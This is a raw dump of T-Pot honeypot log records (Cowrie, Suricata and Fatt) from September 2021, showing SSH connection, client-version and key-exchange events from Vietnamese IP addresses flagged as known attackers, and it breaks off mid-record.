24103	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:37.096566+03	2021-09-20 14:15:08.352471+03	{"_id": "UQbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:36838 (192.168.176.2:22) [session: 14cf92425486]", "session": "14cf92425486", "@version": "1", "protocol": "ssh", "src_port": 36838, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.096566Z", "@timestamp": "2021-09-20T11:08:37.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24104	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:36.434515+03	2021-09-20 14:15:08.353472+03	{"_id": "XQbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9ee13bf513d6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:36.434515Z", "@timestamp": "2021-09-20T11:08:36.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24105	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:36.568096+03	2021-09-20 14:15:08.354471+03	{"_id": "XgbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "572775a3daac", "@version": "1", "duration": 2.54164981842041, "timestamp": "2021-09-20T11:08:36.568096Z", "@timestamp": "2021-09-20T11:08:36.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24106	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:36.606199+03	2021-09-20 14:15:08.35547+03	{"_id": "XwbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "006024714010", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:36.606199Z", "@timestamp": "2021-09-20T11:08:36.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24107	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:36.70994+03	2021-09-20 14:15:08.356471+03	{"_id": "YAbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9ee13bf513d6", "@version": "1", "timestamp": "2021-09-20T11:08:36.709940Z", "@timestamp": "2021-09-20T11:08:36.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24159	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:32.955198+03	2021-09-20 14:15:08.4185+03	{"_id": "4gbkAnwBvYTbRNuErRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "629a08799b4b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:32.955198Z", "@timestamp": "2021-09-20T11:08:32.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24108	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:36.905733+03	2021-09-20 14:15:08.35747+03	{"_id": "YQbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "006024714010", "@version": "1", "timestamp": "2021-09-20T11:08:36.905733Z", "@timestamp": "2021-09-20T11:08:36.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24109	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:37.030042+03	2021-09-20 14:15:08.358471+03	{"_id": "YgbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "911f8bf77278", "@version": "1", "duration": 2.658496618270874, "timestamp": "2021-09-20T11:08:37.030042Z", "@timestamp": "2021-09-20T11:08:37.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24110	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:37.100668+03	2021-09-20 14:15:08.36047+03	{"_id": "YwbkAnwBvYTbRNuEvBL5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "14cf92425486", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:37.100668Z", "@timestamp": "2021-09-20T11:08:37.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24111	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:08:37.918178+03	2021-09-20 14:15:08.361471+03	{"_id": "ZgbkAnwBvYTbRNuEvxJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:08:37.918178Z", "@timestamp": "2021-09-20T11:08:37.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24112	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:37.708798+03	2021-09-20 14:15:08.362472+03	{"_id": "ZwbkAnwBvYTbRNuEvxJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1195555346004853, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59102, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.708798Z", "@timestamp": "2021-09-20T11:08:37.708Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24128	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:38.568757+03	2021-09-20 14:15:08.38247+03	{"_id": "hAbkAnwBvYTbRNuEwxI7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 206140909550096, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44968, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.568757Z", "@timestamp": "2021-09-20T11:08:38.568Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24113	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:37.708327+03	2021-09-20 14:15:08.363471+03	{"_id": "agbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53492, "timestamp": "2021-09-20T11:08:37.708327", "@timestamp": "2021-09-20T11:08:37.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24114	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:37.375402+03	2021-09-20 14:15:08.365471+03	{"_id": "awbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36838, "timestamp": "2021-09-20T11:08:37.375402", "@timestamp": "2021-09-20T11:08:37.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24115	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:37.980775+03	2021-09-20 14:15:08.366471+03	{"_id": "bgbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 